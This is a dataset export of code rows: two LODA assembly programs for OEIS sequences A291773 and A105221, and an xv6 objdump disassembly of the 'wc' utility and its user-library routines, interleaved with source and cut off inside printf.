content
stringlengths
2
1.05M
avg_line_length
float64
1
696k
max_line_length
int64
1
943k
alphanum_fraction
float64
0
1
licenses
sequence
repository_name
stringlengths
4
119
path
stringlengths
3
297
size
int64
2
1.05M
lang
stringclasses
30 values
cluster
int64
1
5
; A291773: Domination number of the n-Apollonian network. ; 1,1,3,4,7,16,43,124,367,1096,3283,9844,29527,88576,265723,797164,2391487,7174456,21523363,64570084,193710247,581130736,1743392203,5230176604,15690529807,47071589416,141214768243,423644304724,1270932914167,3812798742496,11438396227483,34315188682444,102945566047327,308836698141976,926510094425923,2779530283277764,8338590849833287 mov $1,1 mov $3,5 lpb $0,1 sub $0,1 mul $2,2 add $2,$1 mov $1,3 trn $2,2 add $1,$2 add $3,1 trn $3,4 sub $1,$3 lpe
30.882353
332
0.767619
[ "Apache-2.0" ]
karttu/loda
programs/oeis/291/A291773.asm
525
Assembly
4
; A105221: a(n) is the sum of n's distinct prime factors below n. ; Submitted by Jon Maiga ; 0,0,0,2,0,5,0,2,3,7,0,5,0,9,8,2,0,5,0,7,10,13,0,5,5,15,3,9,0,10,0,2,14,19,12,5,0,21,16,7,0,12,0,13,8,25,0,5,7,7,20,15,0,5,16,9,22,31,0,10,0,33,10,2,18,16,0,19,26,14,0,5,0,39,8,21,18,18,0,7,3,43,0,12,22,45,32,13,0,10,20,25,34,49,24,5,0,9,14,7 mov $1,$0 add $0,1 seq $1,8472 ; Sum of the distinct primes dividing n. mod $1,$0 mov $0,$1
42.8
243
0.623832
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/105/A105221.asm
428
Assembly
4
_wc: file format elf32-i386 Disassembly of section .text: 00000000 <main>: printf(1, "%d %d %d %s\n", l, w, c, name); } int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi int fd, i; if(argc <= 1){ 5: be 01 00 00 00 mov $0x1,%esi printf(1, "%d %d %d %s\n", l, w, c, name); } int main(int argc, char *argv[]) { a: 53 push %ebx b: 83 e4 f0 and $0xfffffff0,%esp e: 83 ec 10 sub $0x10,%esp 11: 8b 45 0c mov 0xc(%ebp),%eax int fd, i; if(argc <= 1){ 14: 83 7d 08 01 cmpl $0x1,0x8(%ebp) 18: 8d 58 04 lea 0x4(%eax),%ebx 1b: 7e 60 jle 7d <main+0x7d> 1d: 8d 76 00 lea 0x0(%esi),%esi wc(0, ""); exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ 20: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 27: 00 28: 8b 03 mov (%ebx),%eax 2a: 89 04 24 mov %eax,(%esp) 2d: e8 c0 03 00 00 call 3f2 <open> 32: 85 c0 test %eax,%eax 34: 89 c7 mov %eax,%edi 36: 78 26 js 5e <main+0x5e> printf(1, "wc: cannot open %s\n", argv[i]); exit(); } wc(fd, argv[i]); 38: 8b 13 mov (%ebx),%edx if(argc <= 1){ wc(0, ""); exit(); } for(i = 1; i < argc; i++){ 3a: 83 c6 01 add $0x1,%esi 3d: 83 c3 04 add $0x4,%ebx if((fd = open(argv[i], 0)) < 0){ printf(1, "wc: cannot open %s\n", argv[i]); exit(); } wc(fd, argv[i]); 40: 89 04 24 mov %eax,(%esp) 43: 89 54 24 04 mov %edx,0x4(%esp) 47: e8 54 00 00 00 call a0 <wc> close(fd); 4c: 89 3c 24 mov %edi,(%esp) 4f: e8 86 03 00 00 call 3da <close> if(argc <= 1){ wc(0, ""); exit(); } for(i = 1; i < argc; i++){ 54: 3b 75 08 cmp 0x8(%ebp),%esi 57: 75 c7 jne 20 <main+0x20> exit(); } wc(fd, argv[i]); close(fd); } exit(); 59: e8 54 03 00 00 call 3b2 <exit> exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ printf(1, "wc: cannot open %s\n", argv[i]); 5e: 8b 03 mov (%ebx),%eax 60: c7 44 24 04 89 08 00 movl $0x889,0x4(%esp) 67: 00 68: c7 04 24 01 00 00 00 movl $0x1,(%esp) 6f: 89 44 24 08 mov %eax,0x8(%esp) 73: e8 88 04 00 00 call 500 <printf> exit(); 78: e8 35 03 00 00 call 3b2 <exit> main(int argc, char *argv[]) { int fd, i; if(argc <= 1){ wc(0, ""); 7d: c7 44 24 04 7b 08 00 movl $0x87b,0x4(%esp) 84: 00 85: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8c: e8 0f 00 00 00 call a0 <wc> exit(); 91: e8 1c 03 00 00 call 3b2 <exit> 96: 66 90 xchg %ax,%ax 98: 66 90 xchg %ax,%ax 9a: 66 90 xchg %ax,%ax 9c: 66 90 xchg %ax,%ax 9e: 66 90 xchg %ax,%ax 000000a0 <wc>: char buf[512]; void wc(int fd, char *name) { a0: 55 push %ebp a1: 89 e5 mov %esp,%ebp a3: 57 push %edi a4: 56 push %esi int i, n; int l, w, c, inword; l = w = c = 0; inword = 0; a5: 31 f6 xor %esi,%esi char buf[512]; void wc(int fd, char *name) { a7: 53 push %ebx int i, n; int l, w, c, inword; l = w = c = 0; a8: 31 db xor %ebx,%ebx char buf[512]; void wc(int fd, char *name) { aa: 83 ec 3c sub $0x3c,%esp int i, n; int l, w, c, inword; l = w = c = 0; ad: c7 45 dc 00 00 00 00 movl $0x0,-0x24(%ebp) b4: c7 45 e0 00 00 00 00 movl $0x0,-0x20(%ebp) bb: 90 nop bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ c0: 8b 45 08 mov 0x8(%ebp),%eax c3: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) ca: 00 cb: c7 44 24 04 80 0b 00 movl $0xb80,0x4(%esp) d2: 00 d3: 89 04 24 mov %eax,(%esp) d6: e8 ef 02 00 00 call 3ca <read> db: 83 f8 00 cmp $0x0,%eax de: 89 45 e4 mov %eax,-0x1c(%ebp) e1: 7e 54 jle 137 <wc+0x97> e3: 31 ff xor %edi,%edi e5: eb 0b jmp f2 <wc+0x52> e7: 90 nop for(i=0; i<n; i++){ c++; if(buf[i] == '\n') l++; if(strchr(" \r\t\n\v", buf[i])) inword = 0; e8: 31 f6 xor %esi,%esi int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ ea: 83 c7 01 add $0x1,%edi ed: 3b 7d e4 cmp -0x1c(%ebp),%edi f0: 74 38 je 12a <wc+0x8a> c++; if(buf[i] == '\n') f2: 0f be 87 80 0b 00 00 movsbl 0xb80(%edi),%eax l++; f9: 31 c9 xor %ecx,%ecx if(strchr(" \r\t\n\v", buf[i])) fb: c7 04 24 66 08 00 00 movl $0x866,(%esp) inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ c++; if(buf[i] == '\n') l++; 102: 3c 0a cmp $0xa,%al 104: 0f 94 c1 sete %cl if(strchr(" \r\t\n\v", buf[i])) 107: 89 44 24 04 mov %eax,0x4(%esp) inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ c++; if(buf[i] == '\n') l++; 10b: 01 cb add %ecx,%ebx if(strchr(" \r\t\n\v", buf[i])) 10d: e8 4e 01 00 00 call 260 <strchr> 112: 85 c0 test %eax,%eax 114: 75 d2 jne e8 <wc+0x48> inword = 0; else if(!inword){ 116: 85 f6 test %esi,%esi 118: 75 16 jne 130 <wc+0x90> w++; 11a: 83 45 e0 01 addl $0x1,-0x20(%ebp) int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 11e: 83 c7 01 add $0x1,%edi 121: 3b 7d e4 cmp -0x1c(%ebp),%edi l++; if(strchr(" \r\t\n\v", buf[i])) inword = 0; else if(!inword){ w++; inword = 1; 124: 66 be 01 00 mov $0x1,%si int l, w, c, inword; l = w = c = 0; inword = 0; while((n = read(fd, buf, sizeof(buf))) > 0){ for(i=0; i<n; i++){ 128: 75 c8 jne f2 <wc+0x52> 12a: 01 7d dc add %edi,-0x24(%ebp) 12d: eb 91 jmp c0 <wc+0x20> 12f: 90 nop 130: be 01 00 00 00 mov $0x1,%esi 135: eb b3 jmp ea <wc+0x4a> w++; inword = 1; } } } if(n < 0){ 137: 75 35 jne 16e <wc+0xce> printf(1, "wc: read error\n"); exit(); } printf(1, "%d %d %d %s\n", l, w, c, name); 139: 8b 45 0c mov 0xc(%ebp),%eax 13c: 89 5c 24 08 mov %ebx,0x8(%esp) 140: c7 44 24 04 7c 08 00 movl $0x87c,0x4(%esp) 147: 00 148: c7 04 24 01 00 00 00 movl $0x1,(%esp) 14f: 89 44 24 14 mov %eax,0x14(%esp) 153: 8b 45 dc mov -0x24(%ebp),%eax 156: 89 44 24 10 mov %eax,0x10(%esp) 15a: 8b 45 e0 mov -0x20(%ebp),%eax 15d: 89 44 24 0c mov %eax,0xc(%esp) 161: e8 9a 03 00 00 call 500 <printf> } 166: 83 c4 3c add $0x3c,%esp 169: 5b pop %ebx 16a: 5e pop %esi 16b: 5f pop %edi 16c: 5d pop %ebp 16d: c3 ret inword = 1; } } } if(n < 0){ printf(1, "wc: read error\n"); 16e: c7 44 24 04 6c 08 00 movl $0x86c,0x4(%esp) 175: 00 176: c7 04 24 01 00 00 00 movl $0x1,(%esp) 17d: e8 7e 03 00 00 call 500 <printf> exit(); 182: e8 2b 02 00 00 call 3b2 <exit> 187: 66 90 xchg %ax,%ax 189: 66 90 xchg %ax,%ax 18b: 66 90 xchg %ax,%ax 18d: 66 90 xchg %ax,%ax 18f: 90 nop 00000190 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 190: 55 push %ebp 191: 89 e5 mov %esp,%ebp 193: 8b 45 08 mov 0x8(%ebp),%eax 196: 8b 4d 0c mov 0xc(%ebp),%ecx 199: 53 push %ebx char *os; os = s; while((*s++ = *t++) != 0) 19a: 89 c2 mov %eax,%edx 19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1a0: 83 c1 01 add $0x1,%ecx 1a3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 1a7: 83 c2 01 add $0x1,%edx 1aa: 84 db test %bl,%bl 1ac: 88 5a ff mov %bl,-0x1(%edx) 1af: 75 ef jne 1a0 <strcpy+0x10> ; return os; } 1b1: 5b pop %ebx 1b2: 5d pop %ebp 1b3: c3 ret 1b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001c0 <strcmp>: int strcmp(const char *p, const char *q) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 55 08 mov 0x8(%ebp),%edx 1c6: 53 push %ebx 1c7: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 1ca: 0f b6 02 movzbl (%edx),%eax 1cd: 84 c0 test %al,%al 1cf: 74 2d je 1fe <strcmp+0x3e> 1d1: 0f b6 19 movzbl (%ecx),%ebx 1d4: 38 d8 cmp %bl,%al 1d6: 74 0e je 1e6 <strcmp+0x26> 1d8: eb 2b jmp 205 <strcmp+0x45> 1da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1e0: 38 c8 cmp %cl,%al 1e2: 75 15 jne 1f9 <strcmp+0x39> p++, q++; 1e4: 89 d9 mov %ebx,%ecx 1e6: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1e9: 0f b6 02 movzbl (%edx),%eax p++, q++; 1ec: 8d 59 01 lea 0x1(%ecx),%ebx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 1ef: 0f b6 49 01 movzbl 0x1(%ecx),%ecx 1f3: 84 c0 test %al,%al 1f5: 75 e9 jne 1e0 <strcmp+0x20> 1f7: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; 1f9: 29 c8 sub %ecx,%eax } 1fb: 5b pop %ebx 1fc: 5d pop %ebp 1fd: c3 ret 1fe: 0f b6 09 movzbl (%ecx),%ecx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 201: 31 c0 xor %eax,%eax 203: eb f4 jmp 1f9 <strcmp+0x39> 205: 0f b6 cb movzbl %bl,%ecx 208: eb ef jmp 1f9 <strcmp+0x39> 20a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000210 <strlen>: return (uchar)*p - (uchar)*q; } uint strlen(char *s) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 216: 80 39 00 cmpb $0x0,(%ecx) 219: 74 12 je 22d <strlen+0x1d> 21b: 31 d2 xor %edx,%edx 21d: 8d 76 00 lea 0x0(%esi),%esi 220: 83 c2 01 add $0x1,%edx 223: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 227: 89 d0 mov %edx,%eax 229: 75 f5 jne 220 <strlen+0x10> ; return n; } 22b: 5d pop %ebp 22c: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) 22d: 31 c0 xor %eax,%eax ; return n; } 22f: 5d pop %ebp 230: c3 ret 231: eb 0d jmp 240 <memset> 233: 90 nop 234: 90 nop 235: 90 nop 236: 90 nop 237: 90 nop 238: 90 nop 239: 90 nop 23a: 90 nop 23b: 90 nop 23c: 90 nop 23d: 90 nop 23e: 90 nop 23f: 90 nop 00000240 <memset>: void* memset(void *dst, int c, uint n) { 240: 55 push %ebp 241: 89 e5 mov %esp,%ebp 243: 8b 55 08 mov 0x8(%ebp),%edx 246: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 247: 8b 4d 10 mov 0x10(%ebp),%ecx 24a: 8b 45 0c mov 0xc(%ebp),%eax 24d: 89 d7 mov %edx,%edi 24f: fc cld 250: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 252: 89 d0 mov %edx,%eax 254: 5f pop %edi 255: 5d pop %ebp 256: c3 ret 257: 89 f6 mov %esi,%esi 259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000260 <strchr>: char* strchr(const char *s, char c) { 260: 55 push %ebp 261: 89 e5 mov %esp,%ebp 263: 8b 45 08 mov 0x8(%ebp),%eax 266: 53 push %ebx 267: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 26a: 0f b6 18 movzbl (%eax),%ebx 26d: 84 db test %bl,%bl 26f: 74 1d je 28e <strchr+0x2e> if(*s == c) 271: 38 d3 cmp %dl,%bl 273: 89 d1 mov %edx,%ecx 275: 75 0d jne 284 <strchr+0x24> 277: eb 17 jmp 290 <strchr+0x30> 279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 280: 38 ca cmp %cl,%dl 282: 74 0c je 290 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 284: 83 c0 01 add $0x1,%eax 287: 0f b6 10 movzbl (%eax),%edx 28a: 84 d2 test %dl,%dl 28c: 75 f2 jne 280 <strchr+0x20> if(*s == c) return (char*)s; return 0; 28e: 31 c0 xor %eax,%eax } 290: 5b pop %ebx 291: 5d pop %ebp 292: c3 ret 293: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000002a0 <gets>: char* gets(char *buf, int max) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp 2a3: 57 push %edi 2a4: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 2a5: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 2a7: 53 push %ebx 2a8: 83 ec 2c sub $0x2c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ cc = read(0, &c, 1); 2ab: 8d 7d e7 lea -0x19(%ebp),%edi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2ae: eb 31 jmp 2e1 <gets+0x41> cc = read(0, &c, 1); 2b0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 2b7: 00 2b8: 89 7c 24 04 mov %edi,0x4(%esp) 2bc: c7 04 24 00 00 00 00 movl $0x0,(%esp) 2c3: e8 02 01 00 00 call 3ca <read> if(cc < 1) 2c8: 85 c0 test %eax,%eax 2ca: 7e 1d jle 2e9 <gets+0x49> break; buf[i++] = c; 2cc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2d0: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 2d2: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 2d5: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 2d7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 2db: 74 0c je 2e9 <gets+0x49> 2dd: 3c 0a cmp $0xa,%al 2df: 74 08 je 2e9 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2e1: 8d 5e 01 lea 0x1(%esi),%ebx 2e4: 3b 5d 0c cmp 0xc(%ebp),%ebx 2e7: 7c c7 jl 2b0 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2e9: 8b 45 08 mov 0x8(%ebp),%eax 2ec: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 2f0: 83 c4 2c add $0x2c,%esp 2f3: 5b pop %ebx 2f4: 5e pop %esi 2f5: 5f pop %edi 2f6: 5d pop %ebp 2f7: c3 ret 2f8: 90 nop 2f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000300 <stat>: int stat(char *n, struct stat *st) { 300: 55 push %ebp 301: 89 e5 mov %esp,%ebp 303: 56 push %esi 304: 53 push %ebx 305: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 308: 8b 45 08 mov 0x8(%ebp),%eax 30b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 312: 00 313: 89 04 24 mov %eax,(%esp) 316: e8 d7 00 00 00 call 3f2 <open> if(fd < 0) 31b: 85 c0 test %eax,%eax stat(char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 31d: 89 c3 mov %eax,%ebx if(fd < 0) 31f: 78 27 js 348 <stat+0x48> return -1; r = fstat(fd, st); 321: 8b 45 0c mov 0xc(%ebp),%eax 324: 89 1c 24 mov %ebx,(%esp) 327: 89 44 24 04 mov %eax,0x4(%esp) 32b: e8 da 00 00 00 call 40a <fstat> close(fd); 330: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 333: 89 c6 mov %eax,%esi close(fd); 335: e8 a0 00 00 00 call 3da <close> return r; 33a: 89 f0 mov %esi,%eax } 33c: 83 c4 10 add $0x10,%esp 33f: 5b pop %ebx 340: 5e pop %esi 341: 5d pop %ebp 342: c3 ret 343: 90 nop 344: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 348: b8 ff ff ff ff mov $0xffffffff,%eax 34d: eb ed jmp 33c <stat+0x3c> 34f: 90 nop 00000350 <atoi>: return r; } int atoi(const char *s) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 8b 4d 08 mov 0x8(%ebp),%ecx 356: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 357: 0f be 11 movsbl (%ecx),%edx 35a: 8d 42 d0 lea -0x30(%edx),%eax 35d: 3c 09 cmp $0x9,%al int atoi(const char *s) { int n; n = 0; 35f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 364: 77 17 ja 37d <atoi+0x2d> 366: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 368: 83 c1 01 add $0x1,%ecx 36b: 8d 04 80 lea (%eax,%eax,4),%eax 36e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 372: 0f be 11 movsbl (%ecx),%edx 375: 8d 5a d0 lea -0x30(%edx),%ebx 378: 80 fb 09 cmp $0x9,%bl 37b: 76 eb jbe 368 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 37d: 5b pop %ebx 37e: 5d pop %ebp 37f: c3 ret 00000380 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 380: 55 push %ebp char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 381: 31 d2 xor %edx,%edx return n; } void* memmove(void *vdst, void *vsrc, int n) { 383: 89 e5 mov %esp,%ebp 385: 56 push %esi 386: 8b 45 08 mov 0x8(%ebp),%eax 389: 53 push %ebx 38a: 8b 5d 10 mov 0x10(%ebp),%ebx 38d: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 390: 85 db test %ebx,%ebx 392: 7e 12 jle 3a6 <memmove+0x26> 394: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 398: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 39c: 88 0c 10 mov %cl,(%eax,%edx,1) 39f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 3a2: 39 da cmp %ebx,%edx 3a4: 75 f2 jne 398 <memmove+0x18> *dst++ = *src++; return vdst; } 3a6: 5b pop %ebx 3a7: 5e pop %esi 3a8: 5d pop %ebp 3a9: c3 ret 000003aa <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 3aa: b8 01 00 00 00 mov $0x1,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <exit>: SYSCALL(exit) 3b2: b8 02 00 00 00 mov $0x2,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <wait>: SYSCALL(wait) 3ba: b8 03 00 00 00 mov $0x3,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <pipe>: SYSCALL(pipe) 3c2: b8 04 00 00 00 mov $0x4,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <read>: SYSCALL(read) 3ca: b8 05 00 00 00 mov $0x5,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <write>: SYSCALL(write) 3d2: b8 10 00 00 00 mov $0x10,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <close>: SYSCALL(close) 3da: b8 15 00 00 00 mov $0x15,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <kill>: SYSCALL(kill) 3e2: b8 06 00 00 00 mov $0x6,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <exec>: SYSCALL(exec) 3ea: b8 07 00 00 00 mov $0x7,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <open>: SYSCALL(open) 3f2: b8 0f 00 00 00 mov $0xf,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <mknod>: SYSCALL(mknod) 3fa: b8 11 00 00 00 mov $0x11,%eax 3ff: cd 40 int $0x40 401: c3 ret 00000402 <unlink>: SYSCALL(unlink) 402: b8 12 00 00 00 mov $0x12,%eax 407: cd 40 int $0x40 409: c3 ret 0000040a <fstat>: SYSCALL(fstat) 40a: b8 08 00 00 00 mov $0x8,%eax 40f: cd 40 int $0x40 411: c3 ret 00000412 <link>: SYSCALL(link) 412: b8 13 00 00 00 mov $0x13,%eax 417: cd 40 int $0x40 419: c3 ret 0000041a <mkdir>: SYSCALL(mkdir) 41a: b8 14 00 00 00 mov $0x14,%eax 41f: cd 40 int $0x40 421: c3 ret 00000422 <chdir>: SYSCALL(chdir) 422: b8 09 00 00 00 mov $0x9,%eax 427: cd 40 int $0x40 429: c3 ret 0000042a <dup>: SYSCALL(dup) 42a: b8 0a 00 00 00 mov $0xa,%eax 42f: cd 40 int $0x40 431: c3 ret 00000432 <getpid>: SYSCALL(getpid) 432: b8 0b 00 00 00 mov $0xb,%eax 437: cd 40 int $0x40 439: c3 ret 0000043a <sbrk>: SYSCALL(sbrk) 43a: b8 0c 00 00 00 mov $0xc,%eax 43f: cd 40 int $0x40 441: c3 ret 00000442 <sleep>: SYSCALL(sleep) 442: b8 0d 00 00 00 mov $0xd,%eax 447: cd 40 int $0x40 449: c3 ret 0000044a <uptime>: SYSCALL(uptime) 44a: b8 0e 00 00 00 mov $0xe,%eax 44f: cd 40 int $0x40 451: c3 ret 00000452 <date>: SYSCALL(date) #added for date syscall 452: b8 16 00 00 00 mov $0x16,%eax 457: cd 40 int $0x40 459: c3 ret 45a: 66 90 xchg %ax,%ax 45c: 66 90 xchg %ax,%ax 45e: 66 90 xchg %ax,%ax 00000460 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 460: 55 push %ebp 461: 89 e5 mov %esp,%ebp 463: 57 push %edi 464: 56 push %esi 465: 89 c6 mov %eax,%esi 467: 53 push %ebx 468: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 46b: 8b 5d 08 mov 0x8(%ebp),%ebx 46e: 85 db test %ebx,%ebx 470: 74 09 je 47b <printint+0x1b> 472: 89 d0 mov %edx,%eax 474: c1 e8 1f shr $0x1f,%eax 477: 84 c0 test %al,%al 479: 75 75 jne 4f0 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 47b: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 47d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 484: 89 75 c0 mov %esi,-0x40(%ebp) x = -xx; } else { x = xx; } i = 0; 487: 31 ff xor %edi,%edi 489: 89 ce mov %ecx,%esi 48b: 8d 5d d7 lea -0x29(%ebp),%ebx 48e: eb 02 jmp 492 <printint+0x32> do{ buf[i++] = digits[x % base]; 490: 89 cf mov %ecx,%edi 492: 31 d2 xor %edx,%edx 494: f7 f6 div %esi 496: 8d 4f 01 lea 0x1(%edi),%ecx 499: 0f b6 92 a4 08 00 00 movzbl 0x8a4(%edx),%edx }while((x /= base) != 0); 4a0: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 4a2: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 4a5: 75 e9 jne 490 <printint+0x30> if(neg) 4a7: 8b 55 c4 mov -0x3c(%ebp),%edx x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 4aa: 89 c8 mov %ecx,%eax 4ac: 8b 75 c0 mov -0x40(%ebp),%esi }while((x /= base) != 0); if(neg) 4af: 85 d2 test %edx,%edx 4b1: 74 08 je 4bb <printint+0x5b> buf[i++] = '-'; 4b3: 8d 4f 02 lea 0x2(%edi),%ecx 4b6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 4bb: 8d 79 ff lea -0x1(%ecx),%edi 4be: 66 90 xchg %ax,%ax 4c0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 4c5: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4c8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4cf: 00 4d0: 89 5c 24 04 mov %ebx,0x4(%esp) 4d4: 89 34 24 mov %esi,(%esp) 4d7: 88 45 d7 mov %al,-0x29(%ebp) 4da: e8 f3 fe ff ff call 3d2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4df: 83 ff ff cmp $0xffffffff,%edi 4e2: 75 dc jne 4c0 <printint+0x60> putc(fd, buf[i]); } 4e4: 83 c4 4c add $0x4c,%esp 4e7: 5b pop %ebx 4e8: 5e pop %esi 4e9: 5f pop %edi 4ea: 5d pop %ebp 4eb: c3 ret 4ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 4f0: 89 d0 mov %edx,%eax 4f2: f7 d8 neg %eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 4f4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 4fb: eb 87 jmp 484 <printint+0x24> 4fd: 8d 76 00 lea 0x0(%esi),%esi 00000500 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 500: 55 push %ebp 501: 89 e5 mov %esp,%ebp 503: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 504: 31 ff xor %edi,%edi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 506: 56 push %esi 507: 53 push %ebx 508: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 50b: 8b 5d 0c mov 0xc(%ebp),%ebx char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 50e: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 511: 8b 75 08 mov 0x8(%ebp),%esi char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 514: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 517: 0f b6 13 movzbl (%ebx),%edx 51a: 83 c3 01 add $0x1,%ebx 51d: 84 d2 test %dl,%dl 51f: 75 